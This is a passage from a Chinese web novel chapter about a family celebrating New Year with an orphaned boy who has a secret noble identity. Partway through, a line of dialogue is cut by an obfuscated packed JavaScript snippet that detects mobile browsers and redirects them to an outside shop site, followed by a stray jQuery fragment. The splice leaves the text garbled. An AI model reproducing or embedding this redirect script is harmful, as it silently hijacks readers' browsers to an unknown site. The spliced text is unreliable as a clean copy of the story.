“婶母请讲。”
“不用那么严肃。”江望舒看着孩子的样子实在是绷不住,笑出了声。
靳誉顿时被笑得不好意思,耳朵红红的。
“我想邀请你和我们一起过年,不知道你愿不愿意?”
两人都心知肚明,靳誉没有其他的亲人,从他继母失踪之后,他就一直是一个人。
正是发现了这个事情,每次过节陈文都会邀请他,从刚开始的生拉硬拽,到后面的顺其自然。
算起来,靳誉已经在陈家过了好几个节了,过年是第一次。
靳誉猛地抬头,似乎是不可置信。
“婶母,过年是阖家团圆的日子,我一个外人……”
“你不是外人,阿誉。我们家阿静和阿武唤你哥哥呢。”江望舒打断了他未出口的话,拍了拍他的肩膀。
“在医馆第一次见你,婶母就觉得和你有缘,能认识你我们很高兴,希望你也把自己当成这个家的一份子。”
“我……我真的可以吗?”
“当然!到时候你带几身换洗的衣服,我们一起坐牛车回村,让你感受一下乡下过年的热闹。”
“嗯……”
整个小院里热闹极了,靳誉按照陈家的习俗把自己碗里的面条挑出一根最长的放到陈静碗里。
她在全家的祝福里,吃下那碗长寿面。生辰席面和往常他在陈家过节时并无什么不同,只是在饭后,江望舒为那个“蛋糕”点上蜡烛。
“阿姐,快许愿吹蜡烛!”
陈静在一家人的注视下,闭上眼睛许愿吹蜡烛,分蛋糕。
靳誉是第一次吃这种糕点,入口绵软香甜,搭配果脯外面铺了一层柿子果泥,吃起来果香扑鼻,甜而不腻。
这种甜,一直甜到了他心里。
吃完饭,一家人围坐在火炉旁,陈武像个小松鼠一样,不停地往火炉上的铁架子上放吃食。
珍珠栗、毛芋头,还有江望舒做好的糍粑,他也拿竹签串起来放在铁架上烤。
往常这时候应当是送礼物环节,今天靳誉临时被邀请过来,大家都默契地没有提礼物的事情。
“阿静妹妹,生辰快乐!我没准备礼物,这个玉坠你拿着玩吧。”
陈静看了一眼母亲,见她点头才伸手接过。
起身福礼:“谢谢靳誉哥。”
沈老爷子看着那个玉坠,露出意味深长的笑容。
“阿静,这是你靳誉哥的心意,你可要好好收着,莫要弄丢了。”
“我会的,沈爷爷!”
时间很快来到小年,家家户户忙着扫尘、祭灶,江望舒和孩子们把小院收拾干净之后就带着靳誉和孩子们搭乘刘满仓的牛车回村。
牛车棚子收拾得干净敞亮,刘满仓给车厢盖上厚厚的草帘子,挡风保暖,车里还铺着林阿婆编好的草垫。
“满仓叔,您这车规整得真好!”
刘满仓只是嘿嘿笑。
“都收拾好了吧,那就走吧。”
他把行李一件件搬上车,放好还不忘检查好绳子有没有绑结实。面对陌生的靳誉也没有表现出好奇,只是笑着接过他的行李放在车上。
牛车晃晃悠悠往陈家村驶去,靳誉透过车帘的缝隙打量着外面,这是一种他从未体验过的生活。
兰溪县城到陈家村大约两个时辰的车程,牛车行驶起来比人快不了多少,但是胜在平稳。
由于不赶时间,一路上他们走走停停,陈文详细地介绍路上的村庄。
午饭时分,他们一行终于到达陈家村,刘满仓一家人已经把房子里里外外都打扫干净了,被子也洗过晒过。
他们拎着行李进屋,还没规整,就听到灶房传来林阿婆的声音。
“阿月回来啦,快来吃饭。我算准了时间开始煮的。”
林阿婆一家担心他们回来冷锅冷灶、没地方吃饭,早就准备好了热腾腾的饭菜,还给他们烧了一大锅热水,灶房旁边的柴房堆着满满当当的干柴,足够他们烧上一段时间了。
江望舒看着眼前的一切心中感慨,她知道自己种下去善良的种子,最终开出了美丽的花。
有了林阿婆的帮忙,江望舒回到老宅少了许多麻烦事,晚上睡在充满阳光味道的床上,她睡得格外踏实。
入夜后,村里很安静。只有远处竹林的沙沙声,在这静谧的夜里,别的声音听起来格外明显。
猫头鹰的叫声响过第三声以后,靳誉起身。
隔壁睡的陈文听到门响,爬起来打开房门,睡眼惺忪。
“你要去茅房?我陪你吧。”
“不用,我知道在哪里。你继续睡吧,我带着火折子呢。”
“那好,你注意点脚下。”
陈文关上房门倒头继续睡。
陈家后院,靳誉的脚下跪着一个黑衣人。
“小主人,这个村庄属下查探过了,并无不妥。这是主人让我给你的。”
黑衣人双手奉上一封信函。
“母亲那边如何?”
“主子用了您送去的成药,身体已无大碍,顺帝那边放松了警惕。老太爷的势力也渐渐恢复,才能千里迢迢安排人送信。”
靳誉喉头哽咽,抬头眨了眨眼睛,将眼里的泪意收回才开口。
“你告诉我母亲,我如今过得很好,让她万望保重自己。我等着与她团聚的那一天。”
“消息属下会派人送出去,主子要求我留在这里,保护您的安全。”
“我如今住在陈家,身边不便跟人。我在这里不会有什么危险,他们不知道我的身份。你在外围守着即可,和阿大轮流值守。”
“属下明白。”
“你回去吧,最近都不用出现了。”
靳誉点着火折子回到二楼,那个黑衣人身形矫健,悄无声息地消失在夜色里。
离过年还有几天,家里已经打扫干净,年货也从县城带回许多。
江望舒照例往村中的各家长辈那里走了一圈,带上县城置办的年礼。
陈武像是脱缰的野马,带着靳誉往村里跑,兰溪县的冬天入目也是一片绿意,没有半点萧瑟之感。
“靳誉哥,村东头陈二牛家的鱼塘今天放水开塘,我们赶紧去。”
“别人家的鱼塘放水,我们去做什么?”
靳誉好奇,过年的鱼早在几天前就由满仓叔用牛车拉着大水缸去县城的码头采购了,那里的鱼都是江鱼,肉质鲜嫩肥美,是池塘养殖的鱼无法比拟的。
“哎呀,我们不买鱼,但是可以等主人家捞完鱼去摸河蚌!拿回来吐干净
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729652|203914||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沙子,熬成汤可好喝了!”
说罢还去书房喊陈文。陈文见弟弟一脑门的汗,放下手里的书,罢了,他也还只是一个六岁的孩子,陪他走一趟有何妨。
“你去拿木桶,我换身衣服就来。”
陈武一手提桶一手拉着靳誉就往村东边跑。
“靳誉哥,大哥,你们快点——”
着急忙慌的样子,好像去晚就没了。
“阿武,既然要去捡河蚌,到时候买点小杂鱼回来,阿姆给你们炸小酥鱼吃!我给你拿钱。”
“不用了,我和大哥带了钱的!”
不等她追出去,他已经拉着哥哥们走出老远了。
陈武他们到的时候,池塘边已经围满了孩子,大家手上都拿着一个木桶。
许多人对陈文身边斯文俊秀的小郎君充满好奇,更有那大胆的妇人直接调侃。
“阿文,你身边的小郎君怪俊俏嘞,不知道说亲了没有?”
靳誉被惊得目瞪口呆,顿时从耳根直接红到脖子。
“婶子,阿誉是我同窗,他的事情有家中长辈做主。”
“小郎君还害羞了——”
人群里发出善意的笑声。
“你别介意,他们只是开玩笑,没有恶意的。”陈文安抚的拍了拍靳誉的肩膀。
“靳誉哥——我们去那里。那里淤泥多待会儿肯定能挖到更大的河蚌。”
靳誉还没来得及尴尬,就被陈武拉走了。
陈文看着他们的背影笑着摇头,阿武总是有办法让人生不起气。他身上那鲜活的气息,好像这世间就没什么事能让他烦恼。
主人清塘已经接近尾声,池塘里可以卖的鱼获都已经收起来。
池塘里钻到泥里的小鲫鱼,和壳多肉少的河蚌就留给村里这些小孩去捡,他们还能顺便帮着把枯枝那些清理处理啊,这是村里约定俗成的规矩。
陈文按照阿姆的吩咐,要了三斤小杂鱼,见鱼塘主人水缸里有一条五道黑,想起阿姆做的清蒸鱼,也一并把这条鱼买回家。
他看着已经下塘的阿武和靳誉,在岸上交代了一声就把鱼提回去了,陈武头也不回地应他,继续给靳誉传授摸鱼经验。
“靳誉哥,你看,这片淤泥还没人来,你看那个泥地面有个小圆孔就是有河蚌,那是他们的透气孔。”
言罢他就用小耙子往有圆圆的小孔挖,果然不一会儿一个大大的河蚌就出现在面前。
突然,一条泥痕从陈武面前划过,他眼疾手快抓住。
“靳誉哥!你看,我抓到了一只鲫鱼,到时候拿回去让阿姆炸。”
“陈二郎!你那一只小小的鲫鱼没多少肉还要费油炸,你不知道那油多金贵,你阿姆舍得给你炸?怕不是骗人吧!”
“我阿姆才不会骗我,我大哥还买了小杂鱼回去,就是我阿姆要给我们炸小鱼吃的。”
“那么金贵的油,你说炸就炸,说谎不打草稿——”
那孩子冲陈武做着鬼脸,满脸的嘲笑意味。
陈武只是一个六岁的小孩子,被这样一激就想上前和他理论。
“阿武,快来,看我抓到什么?”
远远的,靳誉出声打断了两个孩子的争吵。
陈武见到靳誉手里的鱼,顿时两眼放光。